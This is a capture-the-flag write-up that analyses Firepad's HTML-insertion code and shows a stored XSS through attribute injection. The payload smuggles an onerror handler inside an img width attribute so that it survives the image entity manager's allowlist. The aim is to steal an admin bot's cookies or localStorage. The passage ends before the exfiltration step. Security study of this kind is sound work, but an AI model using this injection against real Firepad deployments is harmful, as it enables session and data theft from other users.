Old software, good software:
Clone and pwn: https://github.com/FirebaseExtended/firepad
We're given a very minimal admin bot launcher page that gives us a URL to a demo Firepad.
Without any further details, it looks like we're meant to find a (likely XSS) vulnerability in the Firepad source code we can use on the admin to get the flag.
Looking at the Firepad source code, we can find a function that lets us insert HTML strings into our pad:
Firepad.prototype.insertHtml = function (index, html) {
var lines = firepad.ParseHtml(html, this.entityManager_);
this.insertText(index, lines);
};
Firepad.prototype.insertHtmlAtCursor = function (html) {
this.insertHtml(this.codeMirror_.indexFromPos(this.codeMirror_.getCursor()), html);
};
Looking at how this HTML is parsed,
var entityManager_;
function parseHtml(html, entityManager) {
// Create DIV with HTML (as a convenient way to parse it).
var div = (firepad.document || document).createElement('div');
div.innerHTML = html;
// HACK until I refactor this.
entityManager_ = entityManager;
var output = new ParseOutput();
var state = new ParseState();
parseNode(div, state, output);
return output.lines;
}
function parseNode(node, state, output) {
// Give entity manager first crack at it.
if (node.nodeType === Node.ELEMENT_NODE) {
var entity = entityManager_.fromElement(node);
if (entity) {
output.currentLine.push(new firepad.Text(
firepad.sentinelConstants.ENTITY_SENTINEL_CHARACTER,
new firepad.Formatting(entity.toAttributes())
));
return;
}
}
switch (node.nodeType) {
case Node.TEXT_NODE:
// This probably isn't exactly right, but mostly works...
var text = node.nodeValue.replace(/[ \n\t]+/g, ' ');
output.currentLine.push(firepad.Text(text, state.textFormatting));
break;
case Node.ELEMENT_NODE:
var style = node.getAttribute('style') || '';
state = parseStyle(state, style);
switch (node.nodeName.toLowerCase()) {
case 'div':
case 'h1':
case 'h2':
case 'h3':
case 'p':
output.newlineIfNonEmpty(state);
parseChildren(node, state, output);
output.newlineIfNonEmpty(state);
break;
case 'center':
state = state.withAlign('center');
output.newlineIfNonEmpty(state);
parseChildren(node, state.withAlign('center'), output);
output.newlineIfNonEmpty(state);
break;
case 'b':
case 'strong':
parseChildren(node, state.withTextFormatting(state.textFormatting.bold(true)), output);
break;
case 'u':
parseChildren(node, state.withTextFormatting(state.textFormatting.underline(true)), output);
break;
case 'i':
case 'em':
parseChildren(node, state.withTextFormatting(state.textFormatting.italic(true)), output);
break;
case 's':
parseChildren(node, state.withTextFormatting(state.textFormatting.strike(true)), output);
break;
case 'font':
var face = node.getAttribute('face');
var color = node.getAttribute('color');
var size = parseInt(node.getAttribute('size'));
if (face) { state = state.withTextFormatting(state.textFormatting.font(face)); }
if (color) { state = state.withTextFormatting(state.textFormatting.color(color)); }
if (size) { state = state.withTextFormatting(state.textFormatting.fontSize(size)); }
parseChildren(node, state, output);
break;
case 'br':
output.newline(state);
break;
case 'ul':
output.newlineIfNonEmptyOrListItem(state);
var listType = node.getAttribute('class') === 'firepad-todo' ? LIST_TYPE.TODO : LIST_TYPE.UNORDERED;
parseChildren(node, state.withListType(listType).withIncreasedIndent(), output);
output.newlineIfNonEmpty(state);
break;
case 'ol':
output.newlineIfNonEmptyOrListItem(state);
parseChildren(node, state.withListType(LIST_TYPE.ORDERED).withIncreasedIndent(), output);
output.newlineIfNonEmpty(state);
break;
case 'li':
parseListItem(node, state, output);
break;
case 'style': // ignore.
break;
default:
parseChildren(node, state, output);
break;
}
break;
default:
// Ignore other nodes (comments, etc.)
break;
}
}
the rendering process seems to be as follows:
- Insert the HTML into a dummy
div
to let the browser parse it as DOM nodes. - If the node is of a type the "entity manager" can support, use that to render it instead.
- Otherwise, treat select tags as prompts to enable / disable text formatting options in the parser state, ignoring all other tags and attributes.
Looking at the entity manager,
function EntityManager() {
this.entities_ = {};
var attrs = ['src', 'alt', 'width', 'height', 'style', 'class'];
this.register('img', {
render: function(info) {
utils.assert(info.src, "image entity should have 'src'!");
var attrs = ['src', 'alt', 'width', 'height', 'style', 'class'];
var html = '<img ';
for(var i = 0; i < attrs.length; i++) {
var attr = attrs[i];
if (attr in info) {
html += ' ' + attr + '="' + info[attr] + '"';
}
}
html += ">";
return html;
},
fromElement: function(element) {
var info = {};
for(var i = 0; i < attrs.length; i++) {
var attr = attrs[i];
if (element.hasAttribute(attr)) {
info[attr] = element.getAttribute(attr);
}
}
return info;
}
});
}
the only tag its set up to parse are img
tags. Furthermore, it has an allowlist of attributes that it renders selectively: though trying
firepad.insertHtmlAtCursor('<img src=x onerror="...">')
looks like it works, it only results in self-XSS as the onerror
attribute is scrubbed when rendered on another screen.
Instead, we can get the same general attack to work using attribute injection. Because the entity manager generates the final HTML string using string concatenation, if we construct a payload like
firepad.insertHtmlAtCursor('<img src=x width=\'300px" onerror="..."\'>')
we can get the onerror
attribute to render by smuggling it inside another attribute, giving us XSS.
Since there's no source for the admin bot, it's a bit unclear what we're meant to exfiltrate from here. Luckily, we can just try both cookies and localStorage to get the flag: